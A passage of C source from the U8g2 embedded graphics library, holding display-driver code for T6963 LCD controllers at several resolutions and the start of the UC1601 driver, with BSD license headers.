olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The t6963 controller does not support hardware graphics flip. Contrast adjustment is done by an external resistor --> no support for contrast adjustment */ #include "u8x8.h" static const uint8_t u8x8_d_t6963_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x098), /* mode register: Display Mode, Graphics on, Text off, Cursor off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_t6963_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x090), /* All Off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_t6963_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t c, i; uint16_t y; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_powersave1_seq); break; case U8X8_MSG_DISPLAY_DRAW_TILE: y = (((u8x8_tile_t *)arg_ptr)->y_pos); y*=8; y*= u8x8->display_info->tile_width; /* x = ((u8x8_tile_t *)arg_ptr)->x_pos; x is ignored... no u8x8 support */ //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL); /* extra dely required */ u8x8_cad_StartTransfer(u8x8); //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL); /* extra dely required */ /* Tile structure is reused here for the t6963, however u8x8 is not supported tile_ptr points to data which has cnt*8 bytes (same as SSD1306 tiles) Buffer is expected to have 8 lines of code fitting to the t6963 internal memory "cnt" includes the number of horizontal bytes. width is equal to cnt*8 TODO: Consider arg_int, however arg_int is not used by u8g2 */ c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ for( i = 0; i < 8; i++ ) { u8x8_cad_SendArg(u8x8, y&255); u8x8_cad_SendArg(u8x8, y>>8); u8x8_cad_SendCmd(u8x8, 0x024 ); /* set adr */ u8x8_cad_SendCmd(u8x8, 0x0b0 ); /* auto write start */ //c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes, send one line of data */ u8x8_cad_SendCmd(u8x8, 0x0b2 ); /* auto write reset */ ptr += u8x8->display_info->tile_width; y += u8x8->display_info->tile_width; } u8x8_cad_EndTransfer(u8x8); //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL); /* extra dely required */ break; default: return 0; } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_t6963_240x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 110, /* T6963 Datasheet p30 */ /* pre_chip_disable_wait_ns = */ 100, /* T6963 Datasheet p30 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 80, /* write_pulse_width_ns = */ 80, /* tile_width = */ 30, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 128 }; /* 240x128 */ static const uint8_t u8x8_d_t6963_240x128_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), U8X8_AAC(0x00,0x00,0x021), /* low, high, set cursor pos */ U8X8_AAC(0x00,0x00,0x022), /* low, high, set offset */ U8X8_AAC(0x00,0x00,0x040), /* low, high, set text home */ U8X8_AAC(240/8,0x00,0x041), /* low, high, set text columns */ U8X8_AAC(0x00,0x00,0x042), /* low, high, graphics home */ U8X8_AAC(240/8,0x00,0x043), /* low, high, graphics columns */ U8X8_DLY(2), /* delay 2ms */ // mode set // 0x080: Internal CG, OR Mode // 0x081: Internal CG, EXOR Mode // 0x083: Internal CG, AND Mode // 0x088: External CG, OR Mode // 0x089: External CG, EXOR Mode // 0x08B: External CG, AND Mode U8X8_C(0x080), /* mode register: OR Mode, Internal Character Mode */ // display mode // 0x090: Display off // 0x094: Graphic off, text on, cursor off, blink off // 0x096: Graphic off, text on, cursor on, blink off // 0x097: Graphic off, text on, cursor on, blink on // 0x098: Graphic on, text off, cursor off, blink off // 0x09a: Graphic on, text off, cursor on, blink off // ... // 0x09c: Graphic on, text on, cursor off, blink off // 0x09f: Graphic on, text on, cursor on, blink on U8X8_C(0x090), /* All Off */ U8X8_AAC(0x00,0x00,0x024), /* low, high, set adr pointer */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_t6963_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_240x128_init_seq); break; default: return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_t6963_240x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 110, /* T6963 Datasheet p30 */ /* pre_chip_disable_wait_ns = */ 100, /* T6963 Datasheet p30 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 80, /* write_pulse_width_ns = */ 80, /* tile_width = */ 30, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 64 }; /* 240x64 */ static const uint8_t u8x8_d_t6963_240x64_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), U8X8_AAC(0x00,0x00,0x021), /* low, high, set cursor pos */ U8X8_AAC(0x00,0x00,0x022), /* low, high, set offset */ U8X8_AAC(0x00,0x00,0x040), /* low, high, set text home */ U8X8_AAC(240/8,0x00,0x041), /* low, high, set text columns */ U8X8_AAC(0x00,0x00,0x042), /* low, high, graphics home */ U8X8_AAC(240/8,0x00,0x043), /* low, high, graphics columns */ U8X8_DLY(2), /* delay 2ms */ // mode set // 0x080: Internal CG, OR Mode // 0x081: Internal CG, EXOR Mode // 0x083: Internal CG, AND Mode // 0x088: External CG, OR Mode // 0x089: External CG, EXOR Mode // 0x08B: External CG, AND Mode U8X8_C(0x080), /* mode register: OR Mode, Internal Character Mode */ // display mode // 0x090: Display off // 0x094: Graphic off, text on, cursor off, blink off // 0x096: Graphic off, text on, cursor on, blink off // 0x097: Graphic off, text on, cursor on, blink on // 0x098: Graphic on, text off, cursor off, blink off // 0x09a: Graphic on, text off, cursor on, blink off // ... // 0x09c: Graphic on, text on, cursor off, blink off // 0x09f: Graphic on, text on, cursor on, blink on U8X8_C(0x090), /* All Off */ U8X8_AAC(0x00,0x00,0x024), /* low, high, set adr pointer */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_t6963_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_240x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_240x64_init_seq); break; default: return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_t6963_256x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 110, /* T6963 Datasheet p30 */ /* pre_chip_disable_wait_ns = */ 100, /* T6963 Datasheet p30 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 80, /* write_pulse_width_ns = */ 80, /* tile_width = */ 32, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 256, /* pixel_height = */ 64 }; /* 256x64 */ static const uint8_t u8x8_d_t6963_256x64_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), U8X8_AAC(0x00,0x00,0x021), /* low, high, set cursor pos */ U8X8_AAC(0x00,0x00,0x022), /* low, high, set offset */ U8X8_AAC(0x00,0x00,0x040), /* low, high, set text home */ U8X8_AAC(256/8,0x00,0x041), /* low, high, set text columns */ U8X8_AAC(0x00,0x00,0x042), /* low, high, graphics home */ U8X8_AAC(256/8,0x00,0x043), /* low, high, graphics columns */ U8X8_DLY(2), /* delay 2ms */ // mode set // 0x080: Internal CG, OR Mode // 0x081: Internal CG, EXOR Mode // 0x083: Internal CG, AND Mode // 0x088: External CG, OR Mode // 0x089: External CG, EXOR Mode // 0x08B: External CG, AND Mode U8X8_C(0x080), /* mode register: OR Mode, Internal Character Mode */ // display mode // 0x090: Display off // 0x094: Graphic off, text on, cursor off, blink off // 0x096: Graphic off, text on, cursor on, blink off // 0x097: Graphic off, text on, cursor on, blink on // 0x098: Graphic on, text off, cursor off, blink off // 0x09a: Graphic on, text off, cursor on, blink off // ... // 0x09c: Graphic on, text on, cursor off, blink off // 0x09f: Graphic on, text on, cursor on, blink on U8X8_C(0x090), /* All Off */ U8X8_AAC(0x00,0x00,0x024), /* low, high, set adr pointer */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_t6963_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_256x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_256x64_init_seq); break; default: return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_t6963_128x64_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 10, /* T6963 Datasheet p30 */ /* pre_chip_disable_wait_ns = */ 100, /* T6963 Datasheet p30 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 80, /* write_pulse_width_ns = */ 80, /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; /* 128x64 */ static const uint8_t u8x8_d_t6963_128x64_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), U8X8_AAC(0x00,0x00,0x021), /* low, high, set cursor pos */ U8X8_AAC(0x00,0x00,0x022), /* low, high, set offset */ U8X8_AAC(0x00,0x00,0x040), /* low, high, set text home */ U8X8_AAC(128/8,0x00,0x041), /* low, high, set text columns */ U8X8_AAC(0x00,0x00,0x042), /* low, high, graphics home */ U8X8_AAC(128/8,0x00,0x043), /* low, high, graphics columns */ U8X8_DLY(2), /* delay 2ms */ // mode set // 0x080: Internal CG, OR Mode // 0x081: Internal CG, EXOR Mode // 0x083: Internal CG, AND Mode // 0x088: External CG, OR Mode // 0x089: External CG, EXOR Mode // 0x08B: External CG, AND Mode U8X8_C(0x080), /* mode register: OR Mode, Internal Character Mode */ // display mode // 0x090: Display off // 0x094: Graphic off, text on, cursor off, blink off // 0x096: Graphic off, text on, cursor on, blink off // 0x097: Graphic off, text on, cursor on, blink on // 0x098: Graphic on, text off, cursor off, blink off // 0x09a: Graphic on, text off, cursor on, blink off // ... // 0x09c: Graphic on, text on, cursor off, blink off // 0x09f: Graphic on, text on, cursor on, blink on U8X8_C(0x090), /* All Off */ U8X8_AAC(0x00,0x00,0x024), /* low, high, set adr pointer */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_t6963_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_128x64_init_seq); break; default: return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_t6963_160x80_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* T6963 Datasheet p30 */ /* pre_chip_disable_wait_ns = */ 100, /* T6963 Datasheet p30 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 80, /* write_pulse_width_ns = */ 80, /* tile_width = */ 20, /* tile_height = */ 10, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 80 }; /* 128x64 */ static const uint8_t u8x8_d_t6963_160x80_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), U8X8_AAC(0x00,0x00,0x021), /* low, high, set cursor pos */ U8X8_AAC(0x00,0x00,0x022), /* low, high, set offset */ U8X8_AAC(0x00,0x00,0x040), /* low, high, set text home */ U8X8_AAC(160/8,0x00,0x041), /* low, high, set text columns */ U8X8_AAC(0x00,0x00,0x042), /* low, high, graphics home */ U8X8_AAC(160/8,0x00,0x043), /* low, high, graphics columns */ U8X8_DLY(2), /* delay 2ms */ // mode set // 0x080: Internal CG, OR Mode // 0x081: Internal CG, EXOR Mode // 0x083: Internal CG, AND Mode // 0x088: External CG, OR Mode // 0x089: External CG, EXOR Mode // 0x08B: External CG, AND Mode U8X8_C(0x080), /* mode register: OR Mode, Internal Character Mode */ // display mode // 0x090: Display off // 0x094: Graphic off, text on, cursor off, blink off // 0x096: Graphic off, text on, cursor on, blink off // 0x097: Graphic off, text on, cursor on, blink on // 0x098: Graphic on, text off, cursor off, blink off // 0x09a: Graphic on, text off, cursor on, blink off // ... // 0x09c: Graphic on, text on, cursor off, blink off // 0x09f: Graphic on, text on, cursor on, blink on U8X8_C(0x090), /* All Off */ U8X8_AAC(0x00,0x00,0x024), /* low, high, set adr pointer */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_t6963_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_160x80_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_160x80_init_seq); break; default: return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /* alternative version for the 128x64 t6963 display: use the 160x80 init sequence */ uint8_t u8x8_d_t6963_128x64_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_160x80_init_seq); break; default: return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1601.c ================================================ /* u8x8_d_uc1601.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. This is for the uc1601s controller */ #include "u8x8.h" static const uint8_t u8x8_d_uc1601_128x32_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1601_128x32_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1601_128x32_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c4), /* bit 1: MX, bit 2: MY */ U8X8_C(0x060), /* set display start line to 32 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1601_128x32_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c2), /* bit 1: MX, bit 2: MY */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1601_128x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 1, /* uc1601 datasheet, page 46 */ /* pre_chip_disable_wait_ns = */ 5, /* uc1601 datasheet, page 46 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 12, /* uc1601 datasheet, page 44 */ /* sck_pulse_width_ns = */ 15, /* uc1601 datasheet, page 44 */ /* sck_clock_hz = */ 2000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* data_setup_time_ns = */ 60, /* uc1601 datasheet, page 43 */ /* write_pulse_width_ns = */ 80, /* uc1601 datasheet, page 43 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 4, /* pixel_width = */ 128, /* pixel_height = */ 32 }; static const uint8_t u8x8_d_uc1601_128x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0eb), /* LCD Bias: 0xe8: 6, 0xe9: 7, 0xea: 8, 0xeb: 9 */ //U8X8_C(0x023), /* 0x020...0x023 only for UC1601, not for UC1601s */ //U8X8_C(0x02e), /* LCD Load + Internal Charge Pump (default: 0x2e) */ U8X8_C(0x024), /* Temperature Compenstation, default: 0x24 */ U8X8_C(0x089), /* RAM address ctrl, default: 0x89 */ U8X8_C(0x0c4), /* RAM mapping ctrl */ U8X8_C(0x0a0), /* Frame Rate, 0x0a0 or 0x0a1 */ U8X8_CA(0x081, 0x0df), /* set contrast */ U8X8_C(0x02e), /* LCD Load + Internal Charge Pump (default: 0x2e) */ U8X8_C(0x060), /* set display start line to 32 */ U8X8_C(0x0a6), /* normal display */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1601_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1601_128x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1601 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /* issue https://github.com/olikraus/u8g2/issues/1501 */ static const uint8_t u8x8_d_uc1601_128x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0eb), /* LCD Bias: 0xe8: 6, 0xe9: 7, 0xea: 8, 0xeb: 9 */ //U8X8_C(0x023), /* 0x020...0x023 only for UC1601, not for UC1601s */ //U8X8_C(0x02e), /* LCD Load + Internal Charge Pump (default: 0x2e) */ U8X8_C(0x024), /* Temperature Compenstation, default: 0x24 */ U8X8_C(0x089), /* RAM address ctrl, default: 0x89 */ U8X8_C(0x0c4), /* RAM mapping ctrl */ U8X8_C(0x0a0), /* Frame Rate, 0x0a0 or 0x0a1 */ U8X8_CA(0x081, 0x0df), /* set contrast */ U8X8_C(0x02e), /* LCD Load + Internal Charge Pump (default: 0x2e) */ U8X8_C(0x040), /* set display start: See Issue 1501 */ U8X8_C(0x0a6), /* normal display */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1601_128x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 1, /* uc1601 datasheet, page 46 */ /* pre_chip_disable_wait_ns = */ 5, /* uc1601 datasheet, page 46 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 12, /* uc1601 datasheet, page 44 */ /* sck_pulse_width_ns = */ 15, /* uc1601 datasheet, page 44 */ /* sck_clock_hz = */ 2000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* data_setup_time_ns = */ 60, /* uc1601 datasheet, page 43 */ /* write_pulse_width_ns = */ 80, /* uc1601 datasheet, page 43 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 2, /* flipmode_x_offset = */ 4, /* IS THIS CORRECT? */ /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_uc1601_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1601_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1601 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); 